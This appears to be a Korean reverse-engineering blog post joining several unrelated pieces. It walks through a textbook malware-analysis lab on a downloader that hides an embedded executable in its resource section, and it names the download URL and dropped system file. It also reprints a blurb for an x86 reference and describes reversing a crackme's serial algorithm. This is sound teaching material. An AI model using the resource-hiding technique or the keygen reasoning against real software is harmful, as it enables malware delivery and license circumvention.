We open the file with Dependency Walker, and see that it does have an

import table, but it imports only two functions: LoadLibrary and GetProcAddress.

Packed files often import only these two functions, which further indicate

that this file is packed. We can try to unpack the file using UPX, but we

know that the file is packed with FSG, rather than UPX. We’ll return to this

file in Chapter 18, once we have covered the skills to unpack it.

Lab01-4.exe

Lab 1-4

Analyze the file Lab01-04.exe.

Questions

1. Upload the Lab01-04.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?

2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.

3. When was this program compiled?

4. Do any imports hint at this program’s functionality? If so, which imports are they and what do they tell you?

아래에서와 같이 ADVAPI32.DLL을 통하여 권한에 대하여 어떠한 작업을 하려고 한다. 또한 CreateFile, WriteFile, 등을 통하여 특정 파일을 생성을 하고 WinExec 함수를 통하여 그 파일을 실행 시키려고 하는 것 같다.

이뿐만 아니라 Resource와 관련된 함수또한 존재하는데 이는 Resource 부분에서 무엇인가를 가져온다는 것이다. 

5. What host- or network-based indicators could be used to identify this malware on infected machines?

우선 권한을 변경한 뒤에 System32\wupdmgrd.exe라는 파일을 생성하거나 실행할 것이라 예상할 수가 있다. 이를 통해 우리는 호스트 기반이라는 것을 확인 할 수가 있었다. 하지만 문자열을 보면 도메인주소가 존재하는 것을 확인할 수가 있다. 하지만 위에서 봤듯이 네트워킹과 관련된 함수는 존재하지 않았다.

여기서 우리는 위에서 리소스를 다루는 함수가 있었다는 것을 상기해야한다. 즉 리소스 섹션에 무엇인가가 숨겨져 있을수도 있다는 것이다.

6. This file has one resource in the resource section. Use Resource Hacker to examine that resource, and then use it to extract the resource. What can you learn from the resource?

Resource Hacker를 통하여 해당 File을 열어보면 PE 구조의 첫 시작부분부터 존재하는 것을 확인 할 수가 있다. 이것이 처음에는 파일을 잘못 인식한줄 알았지만 알고보니 저 부분 자체가 하나의 다른 파일이였던 것이다. 아래의 사진과 같이 Action > Save resource를 통하여 저장을 해보자.

이렇게 나온 파일을 우리는 PEView를 통하여 열어보면 네트워킹을 하는 함수를 발견할 수가 있다. 이러한 방식은 실제 멀웨어에서 이용되는 방식이므로 잊지 말자.

Detailed Analysis

For the Lab01-04.exe file, the results from VirusTotal.com suggest a program

related to a downloader. PEview gives no indication that the file is packed

or obfuscated.

The imports from advapi32.dll tell us that program does something

with permissions, and we can assume that it tries to access protected files

using special permissions. The imports from kernel32.dll tell us that the program

loads data from the resource section (LoadResource, FindResource, and

SizeOfResource), writes a file to disk (CreateFile and WriteFile), and executes

a file on the disk (WinExec). We can also guess that the program writes files

to the system directory because of the calls to GetWindowsDirectory.

Examining the strings, we see www.malwareanalysisbok.com/updater.exe,

which is probably the location that holds the malicious code for download.

We also see the string \system32\wupdmgr.exe, which, in combination with

the call to GetWindowsDirectory, suggests that a file in C:\Windows\System32\

wupdmgr.exe is created or edited by this malware.

We now know with some confidence that this malicious file downloads

new malware. We know where it downloads the malware from, and we can

guess where it stores the downloaded malware. The only thing that’s odd is

that the program doesn’t appear to access any network functions.

  The most interesting part of this malware is the resource section. When

we open this malware in Resource Hacker, we see one resource. Resource

Hacker identifies the type of the resource as binary, meaning arbitrary binary

data, and when we look at the data, most of it is meaningless. But notice the

string !This program cannot be run in DOS mode. This string is the error message

included in the DOS header at the beginning of all PE files. We can therefore

conclude that this resource is an additional executable file stored in the

resource section of Lab01-04.exe. This is a fairly common technique used in

malware.

To continue analyzing this file with Resource Hacker, we click Action

Save resource as binary file. After saving the resource, we open the file in

PEview to analyze the file embedded within it. Looking at the imports, we see

that the embedded file is the one that accesses the network functions. It calls

URLDownloadToFile, a function commonly used by malicious downloaders. It

also calls WinExec, which probably executes the downloaded file.

문제확인

x86 Instruction Set Reference

Derived from the September 2014 version of the Intel® 64 and IA-32 Architectures Software Developer’s Manual, volumes 2A and 2B.

More info at zneak/x86doc

This reference is not perfect. It's been mechanically separated into distinct files by a dumb script. It may be enough to replace the official documentation on your weekend reverse engineering project, but in doubt, go get the official and freely available documentation.

x86.zip

문제 확인

이번문제도 시리얼이 주어지고 이에 해당하는 Name을 구하는 것이 문제이다. 이제 14번 이전까지 문제를 풀었던 사람들이라면 충분히 손쉽게 문제를 풀 수가 있는 문제이다.

분석

우선 성공분기점을 찾는다. 아래와 같이 IDA를 통해서 봤을 때 LStrCmp()를 통하여 성공의 분기를 결정하는 것을 확인 할 수가 있다. 그렇다면 저 부분을 기준으로 이전의 명령어들을 살펴보자.

우선 프로그램을 디버거로 열어보면 아래의 지점으로 EIP가 구성이 된다. 그리고 총 5개의 호출함수가 보인다. 여기서 우리가 알아야할 것은 바로 4번쨰에 있는 함수로써 프로그램의 버튼을 클릭하였을 경우 이루어질 동작에 대해 정의된 곳이다.

그 이전의 부분들은 GUI를 구성하는 작업을 하는 것이므로 굳이 힘들게 분석할 필요는 없는 것 같다.

Run() 함수로 진입하여 살펴보다보면 아래와 같이 내가 입력한 Name과 Serial들을 가지고 확인작업을 하는 것을 볼 수가 있다. 설명은 주석으로 달아놓았지만 그래도 모든 부분을 다 포함하기에는 너무나 길기 떄문에 IDA-Hexray로 대체하겠다.

밑에 보는 것과 같이 특정한 자리에 특정한 값이 오는지를 확인하기도 한다. 이러한 중간에 하나라도 조건에 부합하지 않는다면 바로 실패구문으로 넘어가게 된다. 그리고 이러한 구문을 모두 거친 뒤에서야 비교문이 나오게 된다.

풀이

위의 많은 조건들을 통과하면 아래와 같이 Create_Serial()을 호출하는 부분을 발견할 수가 있다. 이 부분에서 바로 Name에 따른 Key 값이 형성이 된다.

우선 Name을 1111로 입력하였을 경우 Name이 총 16글자로 맞추어 지는 것을 확인 할 수가 있다. 그렇게 형성된 16글자를 가지고 "NH KeyGenMe6"와 함께 한 글자씩 ADD 연산을 통하여 연산을 진행한 후에 생기는 값들을 통하여 최종적으로 키 값을 형성한다.

이러한 루프를 모두 거치면 아래와 같이 007F0079...등 많은 숫자들이 있다. 하지만 여기서 키 값에 사용되는 것은 바로 앞의 12글자이다. 따라서 우리가 필요한 글자는 3글자이며 나머지는 모두 무시된다는 것을 확인할 수가 있다.

하지만 그렇다해서 Name을 3자리만 입력하라는 것은 아니다. Create_Serial()로 오기 이전의 조건문에 의하여 name의 수는 4의 배수여야하는 것 같다.

아래는 Name 을 1234로 했을 경우에 구하는 소스이다. 이제 이렇게 구했으므로 우리는 역으로 뺄셈을 통하여 쉽게 답을 찾을 수가 있다.

Create_Serial()을 통과한 후에 lStrCmp()를 통하여 내가 입력한 시리얼과 Name에 따른 KEY값이 비교되는 것을 확인 할 수가 있다.

따라서 우리는 3글자만 알면되기에 아래와 같이 3글자를 채워주고 마지막 한글자는 아무거나로 채우면 성공문을 확인 할 수가 있을 것이다.